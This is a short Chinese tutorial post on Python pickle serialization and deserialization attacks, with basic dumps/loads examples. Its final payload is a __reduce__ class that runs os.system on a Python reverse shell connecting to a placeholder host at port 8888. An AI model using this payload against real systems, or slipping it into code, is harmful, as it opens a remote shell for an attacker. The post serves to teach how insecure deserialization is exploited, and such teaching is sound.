在很多任务中,我们可能会需要把一些内容存储起来,以备后续利用。如果我们要存储的内容只是一条字符串或是数字,那么我们只需要把它写进文件就行。然而,如果我们需要存储的东西是一个dict、一个list,甚至一个对象:
class dairy():
date = 20191029
text = "今天哈尔滨冷死人了QAQ"
todo = ['大物实验报告', 'CTF题', 'CSAPP作业']
today = dairy()
要把这样的dairy实例today
存放在文件里,日后还要支持随时导入,就是很麻烦的事情了。通行的做法是:通过一套方案,把这个today
翻译成一个字符串,然后把字符串写进文件;读取的时候,通过读文件拿到字符串,然后翻译成dairy
类的一个实例。
我们把“对象 -> 字符串”的翻译过程称为“序列化”;相应地,把“字符串 -> 对象”的过程称为“反序列化” 。需要保存一个对象的时候,就把它序列化变成字符串;需要从字符串中提取一个对象的时候,就把它反序列化。各大语言都有序列化库,而很多时候,不恰当的反序列化会成为攻击的目标。在后文我们将深入探讨其利用方式。
不需要输出成文件,而是以字符串(py2)或字节流(py3)的形式进行转换
序列化:
pickle.dumps(obj)
1
反序列化
pickle.loads(bytes_object)
实例
# python3
import pickle
data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print(p)
# b'x80x03]qx00(Xx02x00x00x00aaqx01Xx02x00x00x00bbqx02Xx02x00x00x00ccqx03e.'
d = pickle.loads(p)
print(d)
# ['aa', 'bb', 'cc']
图示流程
正常序列化汇编图片
特殊构造payload之后的汇编图片
最终payload
import pickle
import os
class A(object):
def __reduce__(self):
shell = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(shell,))
a=A()
result = pickle.dumps(a)
pickle.loads(result)
本文融合了多个引用案例,融合在了一起,旨在说明反序列化个人认为是payload使用截断将执行调用的库和payload执行的代码,压入不同的位置,汇编运行的时候,直接执行了恶意代码。
参考链接:从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 (zhihu.com)
HW简历投递,快速结款,签订协议,免费培训(适合0基础,有录播)
原文始发于微信公众号(安全开发炒面):反序列化基础
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论